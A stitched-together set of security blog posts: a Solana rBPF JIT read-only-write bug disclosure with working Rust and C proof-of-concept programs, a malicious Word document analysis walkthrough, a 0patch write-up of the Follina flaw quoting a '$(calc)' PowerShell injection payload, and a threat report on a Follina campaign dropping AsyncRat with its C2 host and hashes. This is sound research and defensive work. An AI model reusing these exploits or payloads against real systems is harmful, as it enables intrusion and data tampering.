fn dump_insns<E: UserDefinedError, I: InstructionMeter>(executable: &Executable<E, I>) {
    let analysis = Analysis::from_executable(executable);
    // eprint!("Using the following disassembly");
    analysis.disassemble(&mut std::io::stdout()).unwrap();
}

fn main() {
    let config = Config::default();
    let mut code = BpfCode::default();
    let mut jit_mem = Vec::new();
    let mut bpf_functions = BTreeMap::new();
    register_bpf_function(&mut bpf_functions, 0, "entrypoint", false).unwrap();
    code
        .load(MemSize::DoubleWord).set_dst(9).push()
        .load(MemSize::Word).set_imm(1).push()
        .store_x(MemSize::HalfWord).set_dst(9).set_off(0).set_src(0).push()
        .exit().push();
    let mut prog = code.into_bytes();
    assert!(check(prog, &config).is_ok());
    let mut executable = Executable::<UserError, TestInstructionMeter>::from_text_bytes(prog, None, config, SyscallRegistry::default(), bpf_functions).unwrap();
    assert!(Executable::jit_compile(&mut executable).is_ok());
    dump_insns(&executable);
    let mut jit_vm = EbpfVm::<UserError, TestInstructionMeter>::new(&executable, &mut [], &mut jit_mem).unwrap();
    let mut jit_meter = TestInstructionMeter { remaining: 1 << 16 };
    let jit_res = jit_vm.execute_program_jit(&mut jit_meter);
    if let Ok(_) = jit_res {
        eprintln!("{} => {:?} ({:?})", 0, jit_res, &jit_mem);
    }
}

This just sets up and executes the following BPF assembly:

entrypoint:
    lddw r9, 0x100000000
    stxh [r9+0x0], r0
    exit

This assembly simply writes a 0 to 0x100000000.

For the next part: please, for the love of god, use GEF.

$ cargo +stable build --example oob-write
$ gdb ./target/debug/examples/oob-write
gef➤  break src/vm.rs:1061 # after the JIT'd code is prepared
gef➤  run
gef➤  print self.executable.ro_section.buf.ptr.pointer 
gef➤  awatch *$1 # break if we modify the readonly section
gef➤  record full # set up for reverse execution
gef➤  continue

After that last continue, we effectively execute until we hit the write access to our read-only section. Additionally, we can step backwards in the program until we find our faulty behaviour.

The watched memory is written to as a result of this X86 store instruction (as a reminder, we this is the branch for stxh). Seeing this emit_address_translation call above it, we can determine that that function likely handles the address translation and readonly checks.

Further inspection shows that emit_address_translation actually emits a call to… something:

emit_call(jit, TARGET_PC_TRANSLATE_MEMORY_ADDRESS + len.trailing_zeros() as usize + 4 * (access_type as usize))?;

Okay, so this is some kind of global offset for this JIT program to translate the memory address. By searching for TARGET_PC_TRANSLATE_MEMORY_ADDRESS elsewhere in the program, we find a loop which initialises different kinds of memory translations.

Scrolling through this, we find our access check:

X86Instruction::cmp_immediate(OperandSize::S8, RAX, 0, Some(X86IndirectAccess::Offset(25))).emit(self)?; // region.is_writable == 0

Okay – so the x86 cmp instruction to find is one that uses a destination of [rax+0x19]. A couple rsi later to find such an instruction and we find:

cmp    DWORD PTR [rax+0x19], 0x0

Which is, notably, not using an 8-bit operand as the cmp_immediate call suggests. So what’s going on here?

x86 cmp operand size woes

Here is the definition of X86Instruction::cmp_immediate:

pub fn cmp_immediate(
    size: OperandSize,
    destination: u8,
    immediate: i64,
    indirect: Option<X86IndirectAccess>,
) -> Self {
    Self {
        size,
        opcode: 0x81,
        first_operand: RDI,
        second_operand: destination,
        immediate_size: OperandSize::S32,
        immediate,
        indirect,
        ..Self::default()
    }
}

This creates an x86 instruction with the opcode 0x81. Inspecting closer and cross-referencing with an x86-64 opcode reference, you can find that opcode 0x81 is only defined for 16-, 32-, and 64-bit register operands. If you want to use an 8-bit register operand, you’ll need to use the 0x80 opcode variant.

This is precisely the patch applied.

A quick side note about testing code with different compilers

This bug actually was a bit weirder than it seems at first. Due to differences in Rust struct padding between versions, at the time that I reported the bug, the difference was spurious in stable release. As a result, it’s quite likely that no one would have noticed the bug until the next Rust release version.

From my report:

It is likely that this bug was not discovered earlier due to inconsistent behaviour between various versions of Rust. During testing, it was found that stable release did not consistently have non-zero field padding where stable debug, nightly debug, and nightly release did.

Proof of concept

Alright, now to create a PoC so that the people inspecting the bug can validate it. Like last time, we’ll create an ELF, along with a few different demonstrations of the effects of the bug. Specifically, we want to demonstrate that read-only values in the BPF target can be modified persistently, as our writes affect the executable and thus all future executions of the JIT program.

value_in_ro.c

This program should fail, as the data to be overwritten should be read-only. It will be executed by howdy.rs.

typedef unsigned char uint8_t;
typedef unsigned long int uint64_t;

extern void log(const char*, uint64_t);

static const char data[] = "howdy";

extern uint64_t entrypoint(const uint8_t *input) {
  log(data, 5);
  char *overwritten = (char *)data;
  overwritten[0] = 'e';
  overwritten[1] = 'v';
  overwritten[2] = 'i';
  overwritten[3] = 'l';
  overwritten[4] = '!';
  log(data, 5);

  return 0;
}
howdy.rs

This program loads the compiled version of value_in_ro.c and attaches a log syscall so that we can see the behaviour internally. I confirmed that this syscall did not affect the runtime behaviour.

use std::collections::BTreeMap;
use std::fs::File;
use std::io::Read;
use solana_rbpf::{
    elf::Executable,
    insn_builder::{
        BpfCode,
        Instruction,
        IntoBytes,
        MemSize,
    },
    user_error::UserError,
    verifier::check,
    vm::{Config, EbpfVm, SyscallRegistry, TestInstructionMeter},
};
use solana_rbpf::elf::register_bpf_function;
use solana_rbpf::error::UserDefinedError;
use solana_rbpf::static_analysis::Analysis;
use solana_rbpf::vm::{InstructionMeter, SyscallObject};

fn main() {
    let config = Config {
        enable_instruction_tracing: true,
        ..Config::default()
    };
    let mut jit_mem = vec![0; 32];
    let mut elf = Vec::new();
    File::open("tests/elfs/value_in_ro.so").unwrap().read_to_end(&mut elf);
    let mut syscalls = SyscallRegistry::default();
    syscalls.register_syscall_by_name(b"log", solana_rbpf::syscalls::BpfSyscallString::call);
    let mut executable = Executable::<UserError, TestInstructionMeter>::from_elf(&elf, Some(check), config, syscalls).unwrap();
    assert!(Executable::jit_compile(&mut executable).is_ok());
    for _ in 0..4 {
        let jit_res = {
            let mut jit_vm = EbpfVm::<UserError, TestInstructionMeter>::new(&executable, &mut [], &mut jit_mem).unwrap();
            let mut jit_meter = TestInstructionMeter { remaining: 1 << 18 };
            let res = jit_vm.execute_program_jit(&mut jit_meter);
            res
        };
        eprintln!("{} => {:?}", 1, jit_res);
    }
}

This program, when executed, has the following output:

howdy
evil!
evil!
evil!
evil!
evil!
evil!
evil!

These first two files demonstrate the ability to overwrite the readonly data present in binaries persistently. Notice that we actually execute the JIT’d code multiple times, yet our changes to the value in data are persistent.

Implications

Suppose that there was a faulty offset or a user-controlled offset present in a BPF-based on-chain program. A malicious user could modify the readonly data of the program to replace certain contexts. In the best case scenario, this might lead to DoS of the program. In the worst case, this could lead to the replacement of fund amounts, of wallet addresses, etc.

Reporting

Having assembled my proof-of-concepts, my implications, and so on, I sent in the following report to Solana on February 4th:

Report for bug 2 as submitted to Solana

An incorrectly sized memory operand emitted by src/jit.rs:1490 may lead to .rodata section corruption due to an incorrect is_writable check. The cmp emitted is cmp DWORD PTR [rax+0x19], 0x0. As a result, when the uninitialised data present in the field padding of MemoryRegion is non-zero, the comparison will fail and assume that the section is writable. The data which is overwritten is persistent during the lifetime of the Executable instance as the data overwritten is in Executable.ro_section and thus affects future executions of the program without recompilation.

It is likely that this bug was not discovered earlier due to inconsistent behaviour between various versions of Rust. During testing, it was found that stable release did not consistently have non-zero field padding where stable debug, nightly debug, and nightly release did.

The first attack scenario where this vulnerability may be leveraged is in corruption of believed read-only data; see value_in_ro.{c,so} (intended to be placed within tests/elfs/) as an example of this behaviour. The example provided is contrived, but in scenarios where BPF programs do not correctly sanitise offsets in input, it may be possible for remote attackers to craft payloads which corrupt data within the .rodata section and thus replace secrets, operational data, etc. In the worst case, this may include replacement of critical data such as fixed wallet addresses for the lifetime of the Executable instance, which may be many executions. To test this behaviour, refer to howdy.rs (intended to be placed within examples/). If you find that corruption behaviour does not appear, try using a different optimisation level or compiler.

The second attack scenario is in corruption of BPF source code, which poisons future analysis and compilation. In the worst case (which is probably not a valid scenario), if the Executable is erroneously JIT compiled a second time after being executed in JIT once, the JIT compilation may emit unchecked BPF instructions as the verifier used in from_elf/from_text_bytes is not used per-compilation. Analysis and tracing is similarly corrupted, which may be leveraged to obscure or misrepresent the instructions which were previously executed. An example of the latter is provided in analysis-corruption.rs (intended to be placed within examples/). If you find that corruption behaviour does not appear, try using a different optimisation level or compiler.

While this vulnerability is largely uncategorised by the security policy provided, due to the possibility of the corruption of believed read-only data, I propose that this vulnerability be categorised under Other Attacks or Safety Violations.

value_in_ro.c (.so available upon request)
typedef unsigned char uint8_t;
typedef unsigned long int uint64_t;

extern void log(const char*, uint64_t);

static const char data[] = "howdy";

extern uint64_t entrypoint(const uint8_t *input) {
  log(data, 5);
  char *overwritten = (char *)data;
  overwritten[0] = 'e';
  overwritten[1] = 'v';
  overwritten[2] = 'i';
  overwritten[3] = 'l';
  overwritten[4] = '!';
  log(data, 5);

  return 0;
}
analysis-corruption.rs
use std::collections::BTreeMap;

use solana_rbpf::elf::Executable;
use solana_rbpf::elf::register_bpf_function;
use solana_rbpf::insn_builder::BpfCode;
use solana_rbpf::insn_builder::Instruction;
use solana_rbpf::insn_builder::IntoBytes;
use solana_rbpf::insn_builder::MemSize;
use solana_rbpf::static_analysis::Analysis;
use solana_rbpf::user_error::UserError;
use solana_rbpf::verifier::check;
use solana_rbpf::vm::Config;
use solana_rbpf::vm::EbpfVm;
use solana_rbpf::vm::SyscallRegistry;
use solana_rbpf::vm::TestInstructionMeter;

fn main() {
    let config = Config {
        enable_instruction_tracing: true,
        ..Config::default()
    };
    let mut jit_mem = vec![0; 32];
    let mut bpf_functions = BTreeMap::new();
    register_bpf_function(&mut bpf_functions, 0, "entrypoint", true).unwrap();
    let mut code = BpfCode::default();
    code
        .load(MemSize::DoubleWord).set_dst(0).set_imm(0).push()
        .load(MemSize::Word).set_imm(1).push()
        .store(MemSize::DoubleWord).set_dst(0).set_off(0).set_imm(0).push()
        .exit().push();
    let prog = code.into_bytes();
    assert!(check(prog, &config).is_ok());
    let mut executable = Executable::<UserError, TestInstructionMeter>::from_text_bytes(prog, None, config, SyscallRegistry::default(), bpf_functions).unwrap();
    assert!(Executable::jit_compile(&mut executable).is_ok());
    let jit_res = {
        let mut jit_vm = EbpfVm::<UserError, TestInstructionMeter>::new(&executable, &mut [], &mut jit_mem).unwrap();
        let mut jit_meter = TestInstructionMeter { remaining: 1 << 18 };
        let res = jit_vm.execute_program_jit(&mut jit_meter);
        let jit_tracer = jit_vm.get_tracer();
        let analysis = Analysis::from_executable(&executable);
        let stderr = std::io::stderr();
        jit_tracer.write(&mut stderr.lock(), &analysis).unwrap();
        res
    };
    eprintln!("{} => {:?}", 1, jit_res);
}
howdy.rs
use std::fs::File;
use std::io::Read;

use solana_rbpf::elf::Executable;
use solana_rbpf::user_error::UserError;
use solana_rbpf::verifier::check;
use solana_rbpf::vm::Config;
use solana_rbpf::vm::EbpfVm;
use solana_rbpf::vm::SyscallObject;
use solana_rbpf::vm::SyscallRegistry;
use solana_rbpf::vm::TestInstructionMeter;

fn main() {
    let config = Config {
        enable_instruction_tracing: true,
        ..Config::default()
    };
    let mut jit_mem = vec![0; 32];
    let mut elf = Vec::new();
    File::open("tests/elfs/value_in_ro.so").unwrap().read_to_end(&mut elf).unwrap();
    let mut syscalls = SyscallRegistry::default();
    syscalls.register_syscall_by_name(b"log", solana_rbpf::syscalls::BpfSyscallString::call).unwrap();
    let mut executable = Executable::<UserError, TestInstructionMeter>::from_elf(&elf, Some(check), config, syscalls).unwrap();
    assert!(Executable::jit_compile(&mut executable).is_ok());
    for _ in 0..4 {
        let jit_res = {
            let mut jit_vm = EbpfVm::<UserError, TestInstructionMeter>::new(&executable, &mut [], &mut jit_mem).unwrap();
            let mut jit_meter = TestInstructionMeter { remaining: 1 << 18 };
            let res = jit_vm.execute_program_jit(&mut jit_meter);
            res
        };
        eprintln!("{} => {:?}", 1, jit_res);
    }
}

The bug was patched in a mere 4 hours.

Solana classified this bug as a Denial-of-Service (Non-RPC) and awarded $100k. I disagreed strongly with this classification, but Solana said that due to the low likelihood of the exploitation of this bug (requiring a vulnerability in the on-chain program) they would offer $100k instead of the originally suggested $1m or $400k. They would not move on this point.

However, I would offer that (was that the actually basis for bug classification) that they should update their Security Policy to reflect that meaning. It was obviously very disappointing to hear that they would not be offering the bounty I expected given the classification categories provided.

Okay, so what’d you do with the money??

It would be bad form of me to not explain the incredible flexibility shown by Solana in terms of how they handled my payout. I intended to donate the funds to the Texas A&M Cybersecurity Club, at which I gained a lot of the skills necessary to perform this research and these exploits, and Solana was very willing to sidestep their listed policy and donate the funds directly in USD rather than making me handle the tokens on my own, which would have dramatically affected how much I could have donated due to tax. So, despite my concerns regarding their policy, I was very pleased with their willingness to accommodate my wishes with the bounty payout.

The start

7 September 2021 at 19:23

“Long is the way and hard, that out of hell leads up to light.”

(by John Milton from Paradise Lost — 1667)

My name is Alexandre Borges and I’m a security researcher focused on reverse engineering, exploit development and programming. Therefore, I’ll try to keep this blog updated and including write-up’s about these topics.

Honestly, I hope you can learn something from my posts.

Please, you should feel free to contact me and comment about any mistake and inaccuracy.

Have an excellent day.

A.B.

exploitreversing

Malicious Document Analysis: Example 1

2 November 2021 at 20:21

The PDF version of this article can be found here: https://exploitreversing.files.wordpress.com/2021/11/mda_1-2.pdf

Introduction

While the first article of MAS (Malware Analysis Series)
is not ready, I’m leaving here a very simple case of malicious document analysis for helping my Twitter followers and any professional interested in learning how to analyze this kind of artifact.

Before starting the analysis, I’m going to use the following environment and tools:

Furthermore, it’s always recommended to install Oletools (from Decalage — @decalage2):

# python -m pip install -U oletools

All three tools above are usually installed on REMnux by default. However, if you are using Ubuntu or any other Linux distribution, so you can install them through links and command above.

Like any common binary, we can analyze any maldoc using static or dynamic analysis, but as my preferred approach is always the former one, so let’s take it.

We’ll be analyzing the following sample: 59ed41388826fed419cc3b18d28707491a4fa51309935c4fa016e53c6f2f94bc

Downloading sample and gathering information

The first step is getting general information about this hash by using any well-known endpoint such as
Virus Total, Hybrid Analysis, Triage, Malware Bazaar
and so on. Therefore, let’s use Malwoverview to do it on the command line and collect information from Malware Bazaar that, fortunately, also brings information from excellent Triage:

remnux@remnux:~/articles$ malwoverview.py -b 1 -B 59ed41388826fed419cc3b18d28707491a4fa51309935c4fa016e53c6f2f94bc


Analyzing the malicious document

Given the output above, we could try to make an assumption that the dropped executable comes from the own maldoc because Microsoft Office loads VBA resource, possible macro or embedded object present. Furthermore, the maldoc seems to elevate privilege (AdjustPrivilege( )), hook (intercept events) by installing a hook procedure into a hook chain (SetWindowsHookEx( )), maybe it makes code injection (WriteProcessMemory( )), so we it’s reasonable to assume these Triage signatures are associate to the an embedded executable. Therefore it’s time to download the malicious document from Triage (you can do it from https://tria.ge/dashboard website, if you wish):

remnux@remnux:~/articles$ malwoverview.py -b 5 -B 59ed41388826fed419cc3b18d28707491a4fa51309935c4fa016e53c6f2f94bc

Uncompress it by executing the following command (password is “infected“) and collect information using olevba tool:

remnux@remnux:~/articles$ 7z e 59ed41388826fed419cc3b18d28707491a4fa51309935c4fa016e53c6f2f94bc.zip

Using olevba and oleid (from
oletools
) to collect further information we have the following outputs:

remnux@remnux:~/articles$ olevba -a 59ed41388826fed419cc3b18d28707491a4fa51309935c4fa016e53c6f2f94bc.docx


remnux@remnux:~/articles$ oleid 59ed41388826fed419cc3b18d28707491a4fa51309935c4fa016e53c6f2f94bc.docx


From both previous outputs, important facts come up:

  • Some code is executed when the MS Word is executed.
  • A file seems to be written to the file system.
  • The maldoc seems to open a file (probably the same written above).
  • VBA macros are responsible for the entire activity.

The next step is to analyze the maldoc, which is a OLE document, we are going use oledump.py (from Didier Steven’s suite — @DidierStevens) to check the OLE’s internals and try to understand what’s happening:


According to the figure above we have:

  • three macros in 16, 17 and 18.
  • a big “content” in 11, which could be one of “VBA resources” mentioned Triage’s output.
  • Once again, we can decide to use dynamic analysis (a debugger) or static analysis to expose the real threat hidden inside this malicious document, but let’s proceed with static analysis because it will bring more details while addressing the problem.

In the next step we need to check the macros’ content by uncompressing their contents (-v option) using oledump.py:

remnux@remnux:~/articles$ oledump.py -s 16 -v 59ed41388826fed419cc3b18d28707491a4fa51309935c4fa016e53c6f2f94bc.docx | more


There’re few details that can be observed from output above:

  • Obviously the code is obfuscated.
  • The Split function, which returns a zero-based and one-dimensional array containing substrings, manipulates the content from UserForm1 (object 11) and, apparently, this content is divided in four parts (TextBox1, TextBox2, TextBox3 and TextBox4). In addition, the UserForm1 content seems to be separated by “!” character.
  • The UserForm2 is also being (TextBox1 and TextBox2) in a MoveFile operation.
  • The Winmgmt service, which is a WMI service operating inside the svchost process under LocalSystem account, is being used to execute an operation given by UserForm2.TextBox5.
  • The UserForm2.Text6 is used to create a reference to an object provided by ActiveX.
  • The UserForm2.Text7 is being used to save some content as a binary file.

Therefore we must investigate the content of object 15 (Macros/UserForm2/o):

remnux@remnux:~/articles$ oledump.py 59ed41388826fed419cc3b18d28707491a4fa51309935c4fa016e53c6f2f94bc.docx -s 15 -d | strings

=

We can infer from figure above that:

  • UserForm2.Text1: C:\Users\Public\Pictures\winword.con
  • UserForm2.Text2: C:\Users\Public\Pictures\winword.exe
  • We are moving winword.com
    to winword.exe
    within C:\Users\Public\Pictures\ directory.
  • UserForm2.Text3: Scripting.FileSystemObject
  • UserForm2.Text4: winmgmts:{impersonationLevel=impersonate}!\\” & strComputer & “\root\cimv2}
  • UserForm2.Text5: Win32_ProcessStartup
  • UserForm2.Text6: winmgmts:root\cimv2:Win32_Process
  • UserForm2.Text7: ADODB.Stream

The remaining macros don’t hold nothing really critical for our analysis this time:

remnux@remnux:~/articles$ oledump.py 59ed41388826fed419cc3b18d28707491a4fa51309935c4fa016e53c6f2f94bc.docx -s 17 -v | strings | tail +9

remnux@remnux:~/articles$ oledump.py 59ed41388826fed419cc3b18d28707491a4fa51309935c4fa016e53c6f2f94bc.docx -s 18 -v | strings | tail +9


Analyzing the image above (check SaveBinaryData()
function) and previous figures, it’s reasonable to assume that an executable, which we don’t know yet, will be saved as winword.com and later it will be renamed to winword.exe within C:\Users\Public\Pictures\ directory. Finally, the binary will be executed by calling objProcess.create() function.

At this point, we should verify the content of object 11 (check “Macros/UserForm1/o“) because it likely contain our “hidden” executable. Thus, run the following command:

remnux@remnux:~/articles$ oledump.py 59ed41388826fed419cc3b18d28707491a4fa51309935c4fa016e53c6f2f94bc.docx -s 11 -d | more


As we expected and mentioned previously, these decimal numbers are separated by “!” character.

Additionally, there’s a catch: according to last figure, this object has 4 parts (UserForm1.Text1, UserForm1.Text2, UserForm1.Text3 and UserForm1.Text4), so we should dump it into a file (dump1), edit and “join” all parts.

To dump the “object 11” into a file (named dump1) execute the following command: :

remnux@remnux:~/articles$ oledump.py 59ed41388826fed419cc3b18d28707491a4fa51309935c4fa016e53c6f2f94bc.docx -s 11 -d > dump1

We need to “clean up” dump1 file:

  • Editing the file using “vi” command or any other editor.
  • Using “$” to go to the end of each line.
  • Removing occurrences of “Tahoma” word and any garbage (easily identified) from the text.
  • Join this line with the next one (“J” command on “vi“)

After editing the dump1 file, we have two replace all “!” characters by commas, and transform all decimal numbers into hex bytes. First, replace all “!” characters by comma using a simple “sed” command:

remnux@remnux:~/articles$ sed -e ‘s/!/,/g’ dump1 > dump3

remnux@remnux:~/articles$ cat dump3 | more


From this point we have to process and transform this file (dump3) to something useful end we have two clear options:

I’m going to show you both methods, though I always prefer programming a small script. Please, pay attention to the fact that all decimal numbers are separated by comma, so it will demand an extra concern during the decoding operation.

To decode this file on CyberChef you have to:

  • Load it onto CyberChef’s input pane. There’s an button on top-right to do it.
  • Pick up “From Decimal” operation and configure the delimiter to “Comma”.

Afterwards, you’ll see an executable in the Output pane, which can be saved onto file system.


Saving the file from Output pane, save the file and check its type:

remnux@remnux:~/Downloads$ file download.dat

download.dat: PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows

It’s excellent! Let’s now write a simple Python code named python_convert.py to perform the same operation and get the same result:


remnux@remnux:~/articles$ python3.8 ./python_convert_1.py

remnux@remnux:~/articles$ file final_file.bin

final_file.bin: PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows

As we expected, it’s worked! Finally, let’s check the final binary on Virus Total and Triage to learn a bit further about the extracted binary (next figures):


It would be super easy to extract the same malware from the maldoc by using dynamic analysis. You’ll find out that a password is protecting the VBA Project, but this quite trivial to remove this kind of protection:


That’s it! I hope you have learned something new from this article and see you at next next one.         

 

                                                                                    A.B.

Malware Analysis Series (MAS) – Article 1

3 December 2021 at 08:17

The first article of MAS (Malware Analysis Series) is available for reading from:

(link): https://exploitreversing.files.wordpress.com/2021/12/mas_1_rev_1.pdf

Soon I have enough time, so I’ll publish an HTML version of it.

Have an excellent day.

Alexandre Borges.

PS: this is a live document, so new versions of it will be published soon errors and mistakes are found.

Malicious Document Analysis: Example 2

14 January 2022 at 16:45

I returned to write the second article of Malware Analysis Series (MAS) last January/08 after receiving an outstanding support from a high-profile professional and company of the industry, but while the article is not ready (I working on page 43 and far from the end), I spent a couple of hours writing a simple and short article on malicious document analysis. I hope it helps someone.

The PDF version is available on: https://exploitreversing.files.wordpress.com/2022/01/mda_2-2.pdf

Keep reversing and have an excellent day.

Alexandre Borges.

Free Micropatches For "Follina" Microsoft Diagnostic Tool Remote Code Execution 0day (CVE-2022-30190)

1 June 2022 at 13:58

 


by Mitja Kolsek, the 0patch Team

 

[Update 6/2/2022: Additional patches were issued for Windows Servers]

[Update 15/6/2022: Microsoft issued an official patch for this vulnerability. They implemented functionally the same security check in msdt.exe as we had in sdiagnhost.exe, namely checking for the presence of "$(" in the user-provided path. With official patches being available, our micropatches for this vulnerability are no longer free but require PRO or Enterprise license.] 

It was a quiet Sunday evening with a promise of enjoying a few chapters of The End of Everything by Katie Mack (an excellent book if long-term planning is your thing) when a tweet from Kevin Beaumont came by, opening with "This is a nice find." Knowing Kevin - at lest on Twitter - this often translates to "It's going to be a long night."

The tweet quoted by Kevin was actually from Friday, where nao_sec stated that an "Interesting maldoc was submitted from Belarus. It uses Word's external link to load the HTML and then uses the "ms-msdt" scheme to execute PowerShell code."

A remote code execution vulnerability was obviously spotted getting exploited in the wild. The vulnerability, quickly confirmed by many researchers using various versions of fully updated Microsoft Office, allowed a Word document to execute arbitrary PowerShell commands on the computer with little user interaction. It utilized the "ms-msdt:" URL scheme registered by default on all modern Windows versions to execute the Diagnostic Tool msdt.exe with malicious arguments.

It all looked very similar to CVE-2021-40444, where a malicious Word document would load a remote HTML template, which in turn opened a special type of URL to launch attacker's executable. But it was even "better" because no malicious executable needed to be dropped on victim's computer to be subsequently executed, as PowerShell commands have all the power the attacker ever needs.

For more details about the context, see Kevin's article which keeps getting updated as new data becomes available. Kevin is an unofficial authority for naming 0days and he dubbed this one "Follina"; Microsoft subsequently assigned it CVE-2022-30190 after having rejected a submission by researcher CrazymanArmy as "not a security-related issue."


The Vulnerability

This issue is widely considered a vulnerability in Office, due to Office documents being an efficient vehicle for delivering a "ms-msdt:" URL and having it rendered without restrictions with user's identity. However, we believe the actual problem to be the PowerShell command injection accessible via the IT_BrowseForFile argument of msdt.exe application, as first noted by Alec Wiese. While allowing an Office document to launch an application via special URL scheme may be providing an unneeded attack surface (which may lead to additional similar 0days being discovered in the future), this would all have been a non-issue without the command execution.

So where does the PowerShell command execution come from? A minimized POC triggering the vulnerability contains this parameter for msdt.exe:

IT_BrowseForFile=/../../$(calc).exe

The IT_BrowseForFile value contains a PowerShell subexpression "$(calc)", which results in executing the "calc" command in PowerShell, and that launches the Calculator app. Now why does this get executed at all? To find the answer, we need to see where the data passed to msdt.exe travels. One could use Process Monitor and debugger to find out, but we decided to use Tetrane REVEN, a powerful tool for reverse engineering which often saves us a lot of time with vulnerability analyses.

 

Tetrane REVEN during our analysis of this vulnerability, making it easy to trace data, inspect memory and find a good location for patching

Using REVEN, we could see the value in question traveling:

  1. from msdt.exe via an ALPC call to
  2. DCOM Server Process Launcher (hosted inside a svchost.exe), which launches
  3. sdiagnhost.exe that receives the data from msdt.exe, and passes it on to a RunScript call to execute
  4. PowerShell script TS_ProgramCompatibilityWizard.ps1 (in folder C:\Windows\diagnostics\system\PCW), which - inadvertently - gets the attacker's PowerShell subexpression executed by putting it in an Invoke-Expression call.

 

Note that TS_ProgramCompatibilityWizard.ps1 seems to be very much aware of the possibility of a "PowerShell subexpression injection" and dutifully sanitizes user-provided data in many places by replacing all occurrences of "$" with "`$", for example:

$appName = $choice["Name"].Replace("$", "`$")

Unfortunately, the one in IT_BrowseForFile argument slips by and still gets executed.

 

Our Micropatch

It would be by far the simplest for us to just disable msdt.exe by patching it with a TerminateProcess() call. However, that would render Windows diagnostic wizardry inoperable, even for non-Office applications. Another option was to codify Microsoft's recommendation into a patch, effectively disabling the ms-msdt: URL protocol handler.

But when possible, we want to minimize our impact outside of removing the vulnerability, so we decided to place our patch in sdiagnhost.exe before the RunScript call and check if the user-provided path contains a "$(" sequence - which is necessary for injecting a PowerShell subexpression. If one is detected, we make sure the RunScript call is bypassed while the Diagnostic Tool keeps running.

In IDA, our patch looks like this (green blocks are our code, blue block is original code relocated to a trampoline, value of rdx is used to emulate an error):



And a video of our patch in action. Since this vulnerability can be triggered via different vectors (not just Office documents), the video demonstrates how 0patch blocks an attack via msdt.exe, regardless of how msdt.exe got launched.



Note that sdiagnhost.exe, which is where our patch resides, has been last modified in Dec 2019 or even earlier on all patched Windows versions (except Windows 11, where it's naturally younger). This means our patch will be applied even if you have skipped many Windows Update cycles.

Also Note that it doesn't matter which version of Office you have installed, or if you have Office installed at all: the vulnerability could also be exploited through other attack vectors. That is why we also patched Windows 7, where the ms-msdt: URL handler is not registered at all.


Micropatch Availability

Since this is a "0day" vulnerability with no official vendor fix available, we are providing our micropatches for free until such fix becomes available.

Micropatches were written for: 

  1. Windows 11 v21H2
  2. Windows 10 v21H2
  3. Windows 10 v21H1
  4. Windows 10 v20H2
  5. Windows 10 v2004
  6. Windows 10 v1909
  7. Windows 10 v1903
  8. Windows 10 v1809
  9. Windows 10 v1803
  10. Windows 7
  11. Windows Server 2008 R2
  12. Windows Server 2012
  13. Windows Server 2012 R2
  14. Windows Server 2016
  15. Windows Server 2019 
 

These micropatches have already been distributed to all online 0patch Agents. If you're new to 0patch, create a free account in 0patch Central, then install and register 0patch Agent from 0patch.com. Everything else will happen automatically. No computer reboot will be needed.


To learn more about 0patch, please visit our Help Center

We'd like to thank nao_sec for publishing exploitation details, which allowed us to reproduce the vulnerability and create a micropatch, and all other security researchers who have shared their findings with public or privately with us. We also encourage security researchers to privately share their analyses with us for micropatching.

 

Outbreak of Follina in Australia

Our threat hunters have been busy searching for abuse of the recently-released zero-day remote code execution bug in Microsoft Office (CVE-2022-30190). As part of their investigations, they found evidence of a threat actor hosting malicious payloads on what appears to be an Australian VOIP telecommunications provider with a presence in the South Pacific nation of Palau.

Further analysis indicated that targets in Palau were sent malicious documents that, when opened, exploited this vulnerability, causing victim computers to contact the provider’s website, download and execute the malware, and subsequently become infected.

Key Observations

This threat was a complex multi-stage operation utilizing LOLBAS (Living off the Land Binaries And Scripts), which allowed the attacker to initialize the attack using the CVE-2022-30190 vulnerability within the Microsoft Support Diagnostic Tool. This vulnerability enables threat actors to run malicious code without the user downloading an executable to their machine which might be detected by endpoint detection.

Multiple stages of this malware were signed with a legitimate company certificate to add additional legitimacy and minimize the chance of detection.

First stage

The compromised website, as pictured in the screenshot below, was used to host robots.txt which is an executable which was disguised as “robots.txt”. We believe the name was used to conceal itself from detection if found in network logs. Using the Diagnostics Troubleshooting Wizard (msdt.exe), this file “robots.txt” was downloaded and saved as the file (Sihost.exe) and then executed.

Second Stage, Sihost.exe

When the renamed “robots.txt” – “Sihost.exe” – was executed by msdt.exe it downloaded the second stage of the attack which was a loader with the hash b63fbf80351b3480c62a6a5158334ec8e91fecd057f6c19e4b4dd3febaa9d447. This executable was then used to download and decrypt the third stage of the attack, an encrypted file stored as ‘favicon.svg’ on the same web server.

Third stage, favicon.svg

After this file has been decrypted, it is used to download the fourth stage of the attack from palau.voipstelecom.com[.]au. These files are named Sevntx64.exe and Sevntx.lnk, which are then executed on the victims’ machine.

Fourth Stage, Sevntx64.exe and Sevntx64.lnk

When the file is executed, it loads a 66kb shellcode from the AsyncRat malware family; Sevntx64.exe is signed with the same compromised certificate as seen previously in “robots.txt”.

The screenshot below shows the executable loading the shellcode.

Final Stage, AsyncRat

When the executable is loaded, the machine has been fully compromised with AsyncRat; the trojan is configured to communicate with the server palau[.]voipstelecom[.]com[.]au on port 443

AsyncRat SHA256:

aba9b566dc23169414cb6927ab5368b590529202df41bfd5dded9f7e62b91479

Screenshot below with AsyncRat configuration:

Conclusion

We highly recommend Avast Software to protect against the latest threats, and Microsoft patches to protect your Windows systems from the latest CVE-2022-30190 vulnerability.

IOCs:

item sha256
main webpage 0af202af06aef4d36ea151c5a304414a67aee18c3675286275bd01d11a760c04 
robots.txt b63fbf80351b3480c62a6a5158334ec8e91fecd057f6c19e4b4dd3febaa9d447 
favicon.svg ed4091700374e007ae478c048734c4bc0b7fe0f41e6d5c611351bf301659eee0
decrypted favicon.svg 9651e604f972e36333b14a4095d1758b50decda893e8ff8ab52c95ea89bb9f74
Sevntx64.exe f3ccf22db2c1060251096fe99464002318baccf598b626f8dbdd5e7fd71fd23f 
Sevntx64.lnk 33297dc67c12c7876b8052a5f490cc6a4c50a22712ccf36f4f92962463eb744d 
shellcode from Sevntx64.exe (66814 bytes) 7d6d317616d237ba8301707230abbbae64b2f8adb48b878c528a5e42f419133a
asyncrat aba9b566dc23169414cb6927ab5368b590529202df41bfd5dded9f7e62b91479

Bonus

We managed to find an earlier version of this malware.

file hash first seen country
Grievance Against Lawyers, Judge or Justice.doc.exe (signed) 87BD2DDFF6A90601F67499384290533701F5A5E6CB43DE185A8EA858A0604974  26.05.2022 NL, proxy
